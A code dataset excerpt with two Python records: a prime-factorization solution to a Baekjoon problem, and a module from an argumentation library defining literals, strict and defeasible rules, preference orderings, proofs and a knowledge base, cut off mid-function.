{"seq_id":"19338501734","text":"import sys\ninput=sys.stdin.readline\n\nimport math\n\n\nn=1000001\na = [True]*(n+1)\nprimes=[]\n\nfor i in range(2,n+1):\n  if a[i]:\n    primes.append(i)\n    for j in range(2*i, n+1, i):\n        a[j] = False\n\nN=int(input())\nList=list(map(int,input().split()))\nprimegroup=[[0 for _ in range(N)] for _ in range(len(primes))]\n#primegroup[어떤 수][소수가]=몇개 --> 예를 들면 primegroup[3번째 수, 8][2, 즉 primes인덱스1]=3\nfor i in range(len(List)):\n    for j in range(len(primes)):\n        if List[i]%primes[j]==0:\n            while (List[i]%primes[j]==0):\n                primegroup[j][i]+=1\n                List[i]//=primes[j]\n\n#print(primegroup)\n\nans1=1; ans2=0\nfor x in range(len(primes)):\n    target=sum(primegroup[x])//N\n    ans1*=primes[x]**int(target)\n    for j in range(N):\n        if target>primegroup[x][j]:\n            ans2+=primegroup[x][j]-target\n    # print(ans1, ans2)\n\n# print(primegroup)\n\nprint(ans1, abs(int(ans2)))\n\n","repo_name":"Youngseo-Jeon0313/baekjoon","sub_path":"백준2904.py","file_name":"백준2904.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"15646718906","text":"\"\"\"\n\nStructures and functions for reading a knowledge base of rules for constructing argument networks.\n\n\"\"\"\n\nimport logging\nimport copy\nimport itertools\nimport functools\nfrom collections import defaultdict\n\nfrom pyparsing import alphanums, alphas, delimitedList, ParseException\nfrom pyparsing import Word, Group, Optional, Suppress, OneOrMore\n\nfrom .signals import Signal\nfrom .common import Graph\n\nlogger = logging.getLogger('argulib.kb')\n\n\nclass ParseError(Exception):\n    \"\"\" Thrown when parsing fails. \"\"\"\n    pass\n\n\nclass RuleError(Exception):\n    pass\n\n\nclass Literal:\n    \"\"\" The class represents a (possibly negated) literal.\n\n    The main purpose of the class is to enforce naming conventions.\n    Literals follow C naming conventions - start with a letter\n    optionally followed by alpha-nums + '_'.\n\n    To create a Literal instance from string use Literal.from_str(x). If\n    a literal is to be negated, the identifier should start with '-' (eg, -p).\n    The parser is not smart enough to parse \"--p\" as \"p\".\n\n    \"\"\"\n\n    def __init__(self, name, negated=False):\n        \"\"\" Create a literal with a name.\n        @param name: the name of the literal\n        @param negated: specifies whether the literal is negated (eg, not a; default false)\n        \n        \"\"\"\n        self.name = name\n        self.negated = negated\n\n    def __eq__(self, other):\n        return (isinstance(other, Literal) and\n                self.name == other.name and\n                self.negated == other.negated)\n\n    def __lt__(self, other):\n        return (self.name, self.negated) < (other.name, other.negated)\n\n    def __neg__(self):\n        return Literal(self.name, not self.negated)\n\n    def __hash__(self):\n        return hash(str(self))\n\n    def __str__(self):\n        return '%s%s' % ('-' if self.negated else '', self.name)\n\n    def __repr__(self):\n        return \"<Literal: %s>\" % str(self)\n\n    @classmethod\n    def from_str(cls, data):\n        try:\n            parsed = _literal.parseString(str(data).strip(), parseAll=True)\n            return parsed[0]\n        except ParseException as e:\n            raise ParseError('\"%s\" is not a literal; %s' % (data, str(e))) from e\n\n    @classmethod\n    def from_parsed(cls, parsed):\n        params = parsed[0]\n        if len(params) == 1:\n            return cls(params[0])\n        elif len(params) == 2:\n            return cls(params[1], True)\n\n\n# types of rules\n\nSTRICT_RULE = 0\nDEFEASIBLE_RULE = 1\nORDERING_RULE = 2\n\n\nclass StrictRule:\n    \"\"\" The class represents a strict rule (a modus ponens). \"\"\"\n\n    _hash = None\n\n    type = STRICT_RULE\n    is_strict = True\n    is_defeasible = False\n\n    def __init__(self, antecedent, consequent, name=''):\n        \"\"\" A rule has to have antecedent and a consequent.\n        antecedent -- a list of Literals or None\n        consequent -- a Literal\n        name -- an optional name (default = '')\n            \n        \"\"\"\n        self.name = name\n        # do some error checking to be nice\n        self.antecedent = check_list_of_type(antecedent, Literal,\n                                             'Antecedent must be a list of Literals')\n        self.antecedent.sort()  # it is essential that the list is sorted!\n        if consequent is None:\n            raise RuleError(\"Rule has to have a consequence (None provided)\")\n        else:\n            if not isinstance(consequent, Literal):\n                raise RuleError(\"Consequent must be a Literal\")\n            self.consequent = consequent\n\n    def __eq__(self, other):\n        \"\"\" Two rules are equal if they are the same type \n        and contain the same antecedent and the same consequent.\n        Name does not matter.\n        \n        \"\"\"\n        return (self.type == other.type and\n                self.antecedent == other.antecedent and\n                self.consequent == other.consequent)\n\n    def __len__(self):\n        \"\"\" The length of the rule is given by the number of antecedents. \"\"\"\n        return len(self.antecedent)\n\n    def __hash__(self):\n        \"\"\" Just like equals, the hash only uses the antecedent and consequent.\n        \n        \"\"\"\n        if not self._hash:\n            value = hash(self.consequent)\n            for a in self.antecedent:\n                value ^= hash(a)\n            self._hash = value\n        return self._hash\n\n    def __lt__(self, other):\n        \"\"\" self < other if self has fewer antecedents or if they are alphabetically before other. \"\"\"\n        if other.type == DEFEASIBLE_RULE:\n            return False\n        ls = len(self.antecedent)\n        lo = len(other.antecedent)\n        if ls != lo:\n            return ls < lo\n        else:\n            return str(self) < str(other)\n\n    def __str__(self):\n        name = self.name + ': ' if self.name else ''\n        return ('{name}{antecedent} --> {consequent}'\n                .format(name=name,\n                        antecedent=', '.join(map(str, self.antecedent)),\n                        consequent=str(self.consequent)))\n\n    def __repr__(self):\n        return '<StrictRule %s>' % str(self)\n\n    @classmethod\n    def from_str(cls, data):\n        try:\n            parsed = _strict_rule.parseString(str(data).strip(), parseAll=True)\n            return parsed[0]\n        except Exception as e:\n            raise ParseError('\"%s\" is not a strict rule\\n\\t error: %s'\n                             % (data, str(e)))\n\n    @classmethod\n    def from_parsed(cls, parsed):\n        if 'name' in parsed:\n            name = parsed['name']\n        else:\n            name = ''\n        if 'antecedent' in parsed:\n            antecedent = list(parsed['antecedent'])\n        else:\n            antecedent = []\n        consequent = parsed['consequent'][0]\n        return cls(antecedent, consequent, name)\n\n\nclass DefeasibleRule:\n    \"\"\" The class represents a defeasible rule.\n    The difference between a strict and a defeasible rule is that defeasible \n    rule captures \"the most frequent case\". E.g., A ==> B means that\n    A usually implies B.\n    \n    Defeasible rules can have exceptions (vulnerabilities) specified in \n    parenthesis between the arrow: A =(-C)=> B means that A usually implies B\n    unless C is true. (E.g., an object is red if it looks red unless we shine \n    on it a red light.)\n        \n    \"\"\"\n    _hash = None\n\n    type = DEFEASIBLE_RULE\n    is_strict = False\n    is_defeasible = True\n\n    def __init__(self, antecedent, consequent, vulnerabilities=None, name=''):\n        \"\"\" A rule has to have antecedent and a consequent.\n        :param antecedent: a list of Literals or None\n        :param consequent: a Literal\n        :param vulnerabilities: a list of Literals or None (default)\n        :param name: an optional name (default = '')\n\n        \"\"\"\n        self.name = name\n        # do some error checking to be nice\n        self.antecedent = check_list_of_type(antecedent, Literal,\n                                             'Antecedent must be a list of Literals')\n        self.antecedent.sort()  # it is essential that the list is sorted!\n\n        if not isinstance(consequent, Literal):\n            raise RuleError('Consequent must be a Literal but was {}'\n                            .format(type(consequent)))\n        self.consequent = consequent\n\n        self.vulnerabilities = check_list_of_type(vulnerabilities, Literal,\n                                                  'Vulnerabilities must be list of Literals')\n        self.vulnerabilities.sort()\n\n    def __eq__(self, other):\n        \"\"\" Two rules are equal if they are the same type (rule.type == \n        DEFEASIBLE_RULE) and contain the same antecedent, the same consequent\n        and the same vulnerabilities. Name does not matter.\n        \n        \"\"\"\n        return (self.type == other.type and\n                self.antecedent == other.antecedent and\n                self.consequent == other.consequent and\n                self.vulnerabilities == other.vulnerabilities)\n\n    def __len__(self):\n        \"\"\" The length of the rule is given by the number of antecedents. \"\"\"\n        return len(self.antecedent)\n\n    def __hash__(self):\n        \"\"\" Just like equals, the hash only uses the antecedent and consequent\n        and the vulnerabilities.\n        \n        \"\"\"\n        if not self._hash:\n            value = hash(self.consequent)\n            for a in self.antecedent:\n                value ^= hash(a)\n            for a in self.vulnerabilities:\n                value ^= hash(a)\n            self._hash = value\n        return self._hash\n\n    def __lt__(self, other):\n        \"\"\" self < other if self has fewer antecedents, or \n        fewer vulnerabilities or \n        if str(self) is alphabetically before str(other).\n        \n        \"\"\"\n        if other.type == STRICT_RULE:\n            return True\n        ls = len(self.antecedent)\n        lo = len(other.antecedent)\n        if ls != lo:\n            return ls < lo\n        else:\n            ls = len(self.vulnerabilities)\n            lo = len(other.vulnerabilities)\n            if ls != lo:\n                return ls < lo\n            else:\n                return str(self) < str(other)\n\n    def __str__(self):\n        text = '%s: ' % self.name if self.name else ''\n        if len(self.antecedent) > 0:\n            text += ', '.join(map(str, self.antecedent))\n        if len(self.vulnerabilities) > 0:\n            text += (' =(%s)=> ' % ', '.join(map(str, self.vulnerabilities)))\n        else:\n            text += ' ==> '\n        text += str(self.consequent)\n        return text\n\n    def __repr__(self):\n        return '<DefeasibleRule %s>' % str(self)\n\n    @classmethod\n    def from_str(cls, data):\n        try:\n            parsed = _defeasible_rule.parseString(str(data).strip(), parseAll=True)\n            return parsed[0]\n        except Exception as e:\n            raise ParseError('\"%s\" is not a defeasible rule\\n\\tError: %s'\n                             % (repr(data), str(e)))\n\n    @classmethod\n    def from_parsed(cls, parsed):\n        if 'name' in parsed:\n            name = parsed['name']\n        else:\n            name = ''\n        if 'antecedent' in parsed:\n            antecedent = list(parsed['antecedent'])\n        else:\n            antecedent = []\n        consequent = parsed['consequent'][0]\n        if 'vulnerabilities' in parsed:\n            vulnerabilities = list(parsed['vulnerabilities'])\n        else:\n            vulnerabilities = list()\n        return cls(antecedent, consequent, vulnerabilities, name)\n\n\nclass Ordering:\n\n    type = ORDERING_RULE\n\n    def __init__(self, *data, direction='<'):\n        \"\"\"Initialise orderings from a list of tuples. \"\"\"\n        self.data = check_list_of_type(list(data), tuple)\n        self.direction = direction\n\n    @classmethod\n    def from_str(cls, data):\n        try:\n            parsed = _orderings.parseString(str(data).strip(), parseAll=True)\n            return parsed[0]\n        except Exception as e:\n            raise ParseError('\"%s\" is not a preference rule\\n\\t error: %s' % (data, str(e)))\n\n    @classmethod\n    def from_parsed(cls, parsed, ord):\n        tmp = []\n        for i in range(len(parsed) - 1):\n            tmp.append((list(parsed[i]), list(parsed[i + 1])))\n        return cls(*tmp, direction=ord)\n\n    def __str__(self):\n        return (' %s ' % self.direction).join(map(str, self.data))\n\n    def __repr__(self):\n        return '<Ordering: %s>' % str(self)\n\n    def __eq__(self, other):\n        return self.data == other.data\n\n\nclass Proof:\n    \"\"\" A proof leading to a particular consequent. \"\"\"\n\n    def __init__(self, name, rule, proofs, kb):\n        \"\"\" Create an instance of a proof concluding \"consequent\" given \n        the rule and proofs for the antecedents of the rule.\n        \n        \"\"\"\n        self._hash = None\n        self.name = name\n        self.rule = rule\n        self._proofs = proofs\n        self.is_strict = all(map(lambda x: x.is_strict, self.rules))\n        self.is_defeasible = not self.is_strict\n        self.weakest_link = self\n        if kb:\n            self.update_weakest_link(kb)\n\n    def __str__(self):\n        s = ' ∧ '.join(map(str, self.subproofs))\n        if not self.has_empty_antecedent():\n            s = '(' + s + ')' + ' → '\n        s += str(self.rule)\n        return s.strip()\n\n    def __repr__(self):\n        return '<Proof %s>' % str(self)\n\n    def __eq__(self, other):\n        \"\"\" Two proofs are equal if they have the same top rule and the same sub-proofs. \"\"\"\n        return self.rule == other.rule and self._proofs == other._proofs\n\n    def __hash__(self):\n        if not self._hash:\n            value = hash(self.rule)\n            for p in self._proofs.values():\n                value ^= hash(p)\n            self._hash = value\n        return self._hash\n\n    def __len__(self):\n        \"\"\" Return the number of rules involved in this proof. \"\"\"\n        max_len = list(map(len, self.subproofs))\n        return 1 + max(max_len + [0])\n\n    def __lt__(self, other):\n        \"\"\" Order by length, name. \"\"\"\n        l1 = len(self)\n        l2 = len(other)\n        if l1 == l2:\n            return self.name < other.name\n        else:\n            return l1 < l2\n\n    @property\n    def antecedents(self):\n        \"\"\" Yield the antecedents of this proof. \"\"\"\n        return self.rule.antecedents\n\n    @property\n    def consequent(self):\n        \"\"\" Return the consequent of this proof. \"\"\"\n        return self.rule.consequent\n\n    @property\n    def conclusion(self):\n        \"\"\" Return the consequent of this proof. \"\"\"\n        return self.rule.consequent\n\n    @property\n    def vulnerabilities(self):\n        \"\"\" Return the vulnerabilities of this proof. \"\"\"\n        if self.rule.is_strict:\n            return []\n        return self.rule.vulnerabilities\n\n    @property\n    def subproofs(self):\n        \"\"\" Yield the proofs used by the top rule only. \"\"\"\n        return self._proofs.values()\n\n    @property\n    def proofs(self):\n        \"\"\" Return the set of all proofs used by this proof. \"\"\"\n        tmp = map(lambda x: x.proofs, self.subproofs)  # sets of subproofs\n        proofs = functools.reduce(lambda x, y: x | y, tmp, set())  # collect them\n        proofs.add(self)  # add self\n        return proofs\n\n    @property\n    def rules(self):\n        \"\"\" Return the generator of all rules including the top one. \"\"\"\n        return map(lambda x: x.rule, self.proofs)\n\n    @property\n    def strict_rules(self):\n        \"\"\" Return all strict rules used in this proof and its subproofs. \"\"\"\n        return filter(lambda r: r.type == STRICT_RULE, self.rules)\n\n    @property\n    def defeasible_rules(self):\n        \"\"\" Return all defeasible rules used in this proof and its subproofs.\"\"\"\n        return filter(lambda r: r.type == DEFEASIBLE_RULE, self.rules)\n\n    def has_empty_antecedent(self):\n        \"\"\" Return True if the proof does not have any antecedents. \"\"\"\n        return len(self._proofs) == 0\n\n    def uses_rule(self, rule):\n        \"\"\" Returns True if any of the proofs use the given rule. \"\"\"\n        return any(map(lambda x: x == rule, self.rules))\n\n    def uses_consequent(self, consequent):\n        \"\"\" Returns True if any of the proofs leads to the given consequent. \"\"\"\n        return any(map(lambda x: x.consequent == consequent, self.rules))\n\n    def update_weakest_link(self, kb):\n        \"\"\" Find the weakest rule based on the preference of the knowledge base. \"\"\"\n        # FIXME: this actually just finds the least preferred rule wrt to itself\n        #   the weakest link should really be calculated between two proofs\n        #   because preferences might not be defined over every pair of rules\n        self.weakest_link = self.rule\n        if not self.is_strict:\n            for link in [p.weakest_link for p in self.proofs]:\n                if self.weakest_link.is_strict and link.is_defeasible:\n                    self.weakest_link = link\n                elif kb.less_preferred(link, self.weakest_link):\n                    self.weakest_link = link\n            logger.debug('Weakest link of {0} set to \\n\\t{1}'\n                         .format(self, self.weakest_link))\n        return self.weakest_link\n\n\nclass KnowledgeBaseError(Exception):\n    \"\"\" Thrown when construction of knowledge base fails. \"\"\"\n    pass\n\n\nclass KnowledgeBase:\n    \"\"\" A class that represents the knowledge base of rules. \"\"\"\n\n    def __init__(self, name=''):\n        self.name = name\n        self._rules = defaultdict(set)  # consequent : [rule]\n        self._prefs = Graph()  # directed acyclic graph storing partial order\n        self._proofs = defaultdict(set)  # consequent : [proofs]\n        # working memory -- inferred rules + user rules\n        self._wm = defaultdict(set)  # consequent : [rule]\n        # signals\n        self.rules_added = Signal()\n        self.rules_deleted = Signal()\n        self.updated = Signal()  # passes proofs (set) and flag added\n        self.ordering_changed = Signal()\n        # index for creating proofs\n        self.proof_idx = 0\n        # if True, proofs are not generated -- for batch adding/deleting\n        self.batch = False\n\n    @classmethod\n    def from_file(cls, file_name):\n        if file_name is None:\n            return cls()\n        kb = cls(file_name)\n        kb.read_file(file_name)\n        return kb\n\n    def __eq__(self, other):\n        # it is easier to compare the stings as the KBs can differ in proofs\n        # because removing a proof still leaves the key with an empty set in\n        # the `_proofs` dict.\n        return str(self) == str(other)\n\n    def __str__(self):\n        s = 'Name: \"%s\"\\n' % self.name\n        s += ('Strict Rules:\\n\\t%s\\n' %\n              '\\n\\t'.join(map(str, sorted(self.get_strict_rules()))))\n        s += ('Defeasible Rules:\\n\\t%s\\n' %\n              '\\n\\t'.join(map(str, sorted(self.get_defeasible_rules()))))\n        s += ('Proofs:\\n\\t%s\\n' %\n              '\\n\\t'.join(map(str, sorted(self.proofs))))\n        s += ('Preferences:\\n\\t%s' %\n              '\\n\\t'.join(map(lambda x: '%s > %s' % x, self._prefs.edges)))\n        return s\n\n    __repr__ = __str__\n\n    @property\n    def rules(self):\n        \"\"\" Return a generator of rules in the KB (in working memory). \"\"\"\n        for rules in self._wm.values():\n            for r in rules:\n                yield r\n\n    @property\n    def proofs(self):\n        \"\"\" Return a generator of proofs in the knowledge base. \"\"\"\n        for proofs in self._proofs.values():\n            for p in proofs:\n                yield p\n\n    def proofs_for(self, conclusion):\n        \"\"\"Return the set of proofs for `conclusion`. \"\"\"\n        return self._proofs[conclusion]\n\n    # TODO: remove the recalc flag? or change to batch?\n    def add_rule(self, rule):\n        \"\"\" Try to add a new rule (possibly a string) in the knowledge base.\n        \n        Strict rule might raise KBError if it would\n        make the knowledge base inconsistent.\n        Ordering rule might raise KBError if it would\n        make the knowledge base inconsistent.\n        Malformed string can raise ParseError.\n        \n        :param rule: str or Stric or Defeasible or Ordering rule\n        \"\"\"\n        logger.debug('adding rule \"%s\"' % str(rule))\n        if isinstance(rule, str):\n            rule = mk_rule(rule)\n        if STRICT_RULE == rule.type:\n            self._add_strict_rule(rule)\n        elif DEFEASIBLE_RULE == rule.type:\n            self._add_defeasible_rule(rule)\n        elif ORDERING_RULE == rule.type:\n            self.add_ordering(rule)\n        else:\n            msg = 'Unknown rule type for rule \"%s\"'\n            raise KnowledgeBaseError(msg % str(rule))\n        return rule\n\n    def _add_strict_rule(self, rule):\n        logger.debug('  _adding strict rule \"%s\"' % str(rule))\n        if not rule.type == STRICT_RULE:\n            raise KnowledgeBaseError('Tried to insert a non strict rule.')\n        closure = self.contrapositions(rule)\n        all_variants = {rule} | closure\n        # create new proofs\n        new_proofs = self.construct_proofs(self._proofs, all_variants)\n        # check that the new proofs are consistent with the current KB\n        self.check_consistency(new_proofs)\n        # add to the list of rules\n        self._rules[rule.consequent].add(rule)\n        # add to the working memory\n        for r in all_variants:\n            self._wm[r.consequent].add(r)\n        # add the proofs\n        for p in new_proofs:\n            self._proofs[p.conclusion].add(p)\n        # emit signals\n        self.rules_added(all_variants)\n        self.updated(new_proofs, added=True)\n\n    def _add_defeasible_rule(self, rule):\n        logger.debug('  _adding defeasible rule \"%s\"' % str(rule))\n        if not rule.type == DEFEASIBLE_RULE:\n            raise KnowledgeBaseError('Tried to insert a non defeasible rule.')\n        self._rules[rule.consequent].add(rule)\n        self._wm[rule.consequent].add(rule)\n        # create new proofs\n        new_proofs = self.construct_proofs(self._proofs, {rule})\n        # add the proofs\n        for p in new_proofs:\n            self._proofs[p.conclusion].add(p)\n        # emit signals\n        self.rules_added({rule})\n        self.updated(new_proofs, added=True)\n\n    def del_rule(self, rule):\n        \"\"\" Delete the given rule and all proofs that use this rule. \"\"\"\n        # if passed as a string, parse it first\n        if isinstance(rule, str):\n            rule = mk_rule(rule)\n        logger.debug('deleting rule \"%s\"' % str(rule))\n        if STRICT_RULE == rule.type:\n            self._del_strict_rule(rule)\n        elif DEFEASIBLE_RULE == rule.type:\n            self._del_defeasible_rule(rule)\n        elif ORDERING_RULE == rule.type:\n            self.del_ordering(rule)\n        else:\n            msg = 'Unknown rule type for rule \"%s\"'.format(str(rule))\n            raise KnowledgeBaseError(msg)\n        return rule\n\n    def _del_strict_rule(self, rule):\n        logger.debug('  _deleting strict rule \"%s\"' % str(rule))\n        if rule.consequent not in self._rules:\n            return\n        # if the rule is in _rules, it has to be in _wm as well\n        closure = self.contrapositions(rule)\n        all_variants = {rule} | closure\n        # proofs that use the rule should also be deleted\n        proofs = set()\n        # delete the rule + contrapositions from working memory\n        for r in all_variants:\n            if r.consequent in self._wm:\n                self._wm[r.consequent].remove(r)\n                for p in self.proofs:\n                    if p.uses_rule(r):\n                        proofs.add(p)\n        for p in proofs:\n            self._proofs[p.consequent].remove(p)\n        # delete the rule\n        self._rules[rule.consequent].remove(rule)\n        # emit signals\n        self.rules_deleted(closure)\n        self.updated(proofs, added=False)\n\n    def _del_defeasible_rule(self, rule):\n        logger.debug('  _deleting defeasible rule \"%s\"' % str(rule))\n        if rule.consequent not in self._rules:\n            return\n        # if the rule is in _rules, it has to be in _wm as well\n        self._wm[rule.consequent].remove(rule)\n        proofs = set()\n        for p in self.proofs:\n            if p.uses_rule(rule):\n                proofs.add(p)\n        for p in proofs:\n            self._proofs[p.consequent].remove(p)\n        self._rules[rule.consequent].remove(rule)\n        # emit signals\n        self.rules_deleted({rule})\n        self.updated(proofs, added=False)\n\n    @staticmethod\n    def contrapositions(rule):\n        \"\"\" Create a set of contraposition rules.\n        Every strict rule have corresponding contraposition rules.\n        For example:\n            a --> b also means that -b --> -a\n            p, q --> r has p, -r --> -q and -r, q --> -p\n        \n        \"\"\"\n        logger.debug('  contrapositions for rule: %s' % rule)\n        rules = set()\n        nc = -rule.consequent  # negation of the consequent\n        idx = 0\n        for a in rule.antecedent:\n            idx += 1\n            antecedent = [i for i in rule.antecedent if i != a]\n            antecedent.append(nc)\n            r = StrictRule(antecedent, -a)\n            if r.name != '':\n                r.name = '%s-%d' % (rule.name, idx)\n            rules.add(r)\n            logger.debug('\\t created contraposition : %s' % r)\n        return rules\n\n    def construct_proofs(self, existing_proofs, rules):\n        \"\"\" Return the set of new proofs given the existing proofs \n        and new rules.\n        \n        existing_proofs -- a dict of proofs: {conclusion: {proofs} }\n        rules -- a set of rules: {rule}\n        \"\"\"\n        # if we are batch processing, don't add any proofs\n        if self.batch: return set()\n        logger.debug('constructing proofs for rules \\n\\t%s'\n                     % '\\n\\t'.join(map(str, rules)))\n        new_proofs = set()\n        inferred = set()  # new conclusions\n        old_size = -1\n        rules = sorted(rules)\n        all_proofs = copy.copy(existing_proofs)  # shallow copy is sufficient\n        num_steps = 0\n        while old_size != len(new_proofs):\n            # how many proofs we are starting from in this iteration\n            old_size = len(new_proofs)\n            num_steps += 1\n            for r in rules:\n                logger.debug('Current rule %s' % repr(r))\n                # can we skip this rule, because no new conclusions affect it?\n                if num_steps > 1 and (not inferred & set(r.antecedent)):\n                    # none of the inferred conclusions is in the antecedent\n                    logger.debug('...this rule has no new proofs')\n                    continue\n                logger.debug('...this rule might have new proofs')\n                # find a proof for each antecedent\n                subproofs = dict()\n                for a in r.antecedent:\n                    if a in all_proofs:\n                        subproofs[a] = all_proofs[a]\n                    else:\n                        break\n                # do we have a proof for all antecedents?\n                if len(subproofs) == len(r.antecedent):\n                    tmp = self._create_proofs(r, subproofs)\n                    new_proofs |= tmp\n                    inferred |= set(map(lambda p: p.conclusion, new_proofs))\n                    all_proofs[r.consequent] |= tmp\n            # we started only with the new rules;\n            # now add other rules that might be applicable\n            if num_steps == 1 and new_proofs:\n                rules = sorted((set(rules) | set(self.rules)))\n        logger.debug('Constructed proofs in %d iterations.' % num_steps)\n        return new_proofs\n\n    def _create_proofs(self, rule, subproofs):\n        \"\"\" Insert new proofs based on the rule and the subproofs. \n        Subproofs have the format of a dictionary with Literals as kees and\n        sets of proofs as values. Because there can be many ways to reach \n        a consequent (conclusion) a proof for each of the subproofs should\n        be created.\n        \n        \"\"\"\n        logger.debug('\\t adding proofs with rule %s' % str(rule))\n        logger.debug('\\t\\t subproofs: %s' % str(subproofs))\n        new_proofs = set()\n        # we need a proof for each subproof so create a cartesian product\n        # to find the possible combinations\n        product = itertools.product(*subproofs.values())\n        for combination in product:\n            contains_loop = False\n            for subproof in combination:\n                if subproof.uses_rule(rule):\n                    # avoid loops - in case one of the subproofs uses the rule\n                    contains_loop = True\n                    break\n            if contains_loop:\n                continue\n            proofs = dict()\n            for sp in combination:\n                proofs[sp.consequent] = sp\n            p = Proof('', rule, proofs, self)\n            name = self.generate_proof_name()\n            p.name = name\n            logger.debug('\\t\\tfound proof \"%s\"' % str(p))\n            new_proofs.add(p)\n        return new_proofs\n\n    def recalculate(self):\n        \"\"\" Recalculate all proofs. \"\"\"\n        # create new proofs\n        self._proofs.clear()\n        self.proof_idx = 0\n        new_proofs = self.construct_proofs(self._proofs, set(self.rules))\n        # add the proofs\n        for p in new_proofs:\n            self._proofs[p.conclusion].add(p)\n        self.updated(new_proofs, False)\n        return new_proofs\n\n    def get_rules(self):\n        \"\"\" Return a generator of all rules in working memory.\n        These include not only user defined rules but also contrapositions.\n        \n        \"\"\"\n        for rule_set in self._wm.values():\n            for r in rule_set:\n                yield r\n\n    def get_defeasible_rules(self):\n        \"\"\" Return a generator of defeasible rules. \"\"\"\n        for r in self.get_rules():\n            if isinstance(r, DefeasibleRule):\n                yield r\n\n    def get_strict_rules(self):\n        \"\"\" Return a generator of strict rules. \"\"\"\n        for r in self.get_rules():\n            if isinstance(r, StrictRule):\n                yield r\n\n    def get_rule_with_name(self, name):\n        \"\"\" Return a rule with given name or None. \"\"\"\n        for r in self.get_rules():\n            if r.name == name:\n                return r\n        return None\n\n    def rules_with_consequent(self, consequent):\n        \"\"\" Return all rules with the given consequent or None. \"\"\"\n        if isinstance(consequent, str):\n            consequent = Literal.from_str(consequent)\n        return self._wm[consequent]\n\n    def get_proofs_for_rule(self, rule):\n        \"\"\" Return a proofs that uses `rule` as the top rule or `set()`.\"\"\"\n        # only look at the proofs with the same consequent\n        result = set()\n        for p in self._proofs[rule.consequent]:\n            if p.rule == rule:\n                result.add(p)\n        return result\n\n    def add_ordering(self, ordering):\n        \"\"\" Parse the line containing names of rules and their preferences. \n        format: r1, r2 < r3 < r4, r5 ...\n        Throws ParseError when the format is wrong and \n        KnowledgeBaseError when preferences are inconsistent.\n        \n        \"\"\"\n        # TODO: how to best report failure? pass up?\n        logger.debug('Adding preferences: %s' % str(ordering))\n        for a, b in ordering.data:\n            self.add_preference_rule(a, b, direction=ordering.direction)\n        self.ordering_changed()\n        self.recalculate()\n\n    def del_ordering(self, ordering):\n        \"\"\" Remove the given orderings. \"\"\"\n        # TODO: how to best report failure? pass up?\n        for a, b in ordering.data:\n            self.del_preference_rule(a, b, direction=ordering.ord)\n        self.ordering_changed()\n        self.recalculate()\n\n    def add_preference_rule(self, lower, higher, direction):\n        \"\"\" Insert preferences for defeasible rules.\n        lower, higher - iterable of rule names; higher is preferred over lower.\n        \n        \"\"\"\n        # self._prefs stores the preferences (partial order) as a DAG\n        # NOTE: the order is specified across defeasible rule names\n        # on inserting, check that we are not creating inconsistencies\n        #   and raise KBError if we are\n        if direction == '<':\n            edges = list(itertools.product(higher, lower))\n        else:\n            edges = list(itertools.product(lower, higher))\n        logger.debug('  preference edges: %s' % str(edges))\n        # be exception safe - first check for consistency and then add\n        tmp = copy.deepcopy(self._prefs)\n        for e in edges:\n            po = tmp.find_path(e[1], e[0])  # possible pref order (path)\n            # if po exists than this edge is inconsistent\n            if po is not None:\n                # inconsistency - be nice and include extra info\n                ps = (' ' + direction + ' ').join(map(str, po))\n                msg = ('The preference rule \"%s %s %s\" is not consistent with'\n                       'the existing preference order: %s' %\n                       (e[0], direction, e[1], ps))\n                raise KnowledgeBaseError(msg)\n            # if the rule is consistent, tentatively add it\n            tmp.add_edge(*e)\n        # all edges are consistent with respect to\n        #   the existing prefs and each other\n        for e in edges:\n            logger.debug('  Adding preference: %s > %s' % e)\n            self._prefs.add_edge(*e)\n\n    def del_preference_rule(self, lower, higher, direction):\n        \"\"\" Delete the pair of names from preferences. \"\"\"\n        if direction == '<':\n            edges = list(itertools.product(higher, lower))\n        else:\n            edges = list(itertools.product(lower, higher))\n        logger.debug('Deleting preference rule {0}'.format(repr(edges)))\n        try:\n            for e in edges:\n                logger.debug('Deleting \"{0}\"'.format(repr(e)))\n                self._prefs.del_edge(*e)\n            return True\n        except KeyError:\n            return False\n\n    def more_preferred(self, rule_a, rule_b):\n        \"\"\" Return True if rule 'a' is more preferred than rule 'b'. \"\"\"\n        # a is preferred over b if there is a path from a to b\n        a = rule_a.name if not isinstance(rule_a, str) else rule_a\n        b = rule_b.name if not isinstance(rule_b, str) else rule_b\n        path = self._prefs.find_path(a, b)\n        return path is not None and path != [a]\n\n    def less_preferred(self, rule_a, rule_b):\n        \"\"\" Return True if rule 'a' is less preferred than rule 'b'. \"\"\"\n        return self.more_preferred(rule_b, rule_a)\n\n    def preference_order(self, rule_a, rule_b):\n        \"\"\" Return the order of preferences between rule_a and rule_b or None. \"\"\"\n        return self._prefs.find_path(rule_a.name, rule_b.name)\n\n    def has_preference_for(self, rule):\n        \"\"\" Return True if the rule has any preference weight. \"\"\"\n        return rule.name in self._prefs\n\n    def check_consistency(self, proofs):\n        \"\"\" Check that none of the strict proofs interferes\n        with the existing knowledge base. \n        \n        \"\"\"\n        for p in proofs:\n            # consistency only applies to strict proofs\n            if not p.is_strict:\n                continue\n            if -p.consequent in self._proofs:\n                counterproofs = self._proofs[-p.consequent]\n                for cp in counterproofs:\n                    if cp.is_strict:\n                        # cp is a strict proof with an opposite conclusion\n                        # which is not consistent with the proof p\n                        msg = ('The proof \"%s\" is inconsistent with an existing'\n                               ' proof \"%s\"' % (str(p), str(cp)))\n                        raise KnowledgeBaseError(msg)\n\n    def generate_proof_name(self):\n        \"\"\" Return a name for an argument. \"\"\"\n        name = 'P%d' % self.proof_idx\n        self.proof_idx += 1\n        return name\n\n    def save_into_file(self, file_name):\n        with open(file_name, \"w\") as f:\n            for consequent, rules in self._rules.items():\n                f.write('# rules with consequent \"%s\":\\n' % str(consequent))\n                for r in rules:\n                    f.write(str(r) + '\\n')\n            for k, vs in self._prefs.items():\n                if vs:\n                    f.write('{k} < {vs}\\n'.format(k=k, vs=', '.join(vs)))\n\n    def read_file(self, file_name):\n        with open(file_name, \"r\") as f:\n            self.parse_file(f)\n\n    def parse_file(self, file):\n        line_no = 0\n        self.batch = True\n        for line in file:\n            line_no += 1\n            line = line.partition('#')[0].strip()  # remove comments\n            if line == '':\n                continue\n            try:\n                self.add_rule(line)\n            except Exception as e:\n                msg = 'Exception on line %d: %s'\n                logger.exception(msg % (line_no, str(e)))\n        self.batch = False\n        proofs = self.recalculate()\n        self.check_consistency(proofs)\n\n\ndef check_list_of_type(lst, cls, msg=''):\n    \"\"\" Check that the 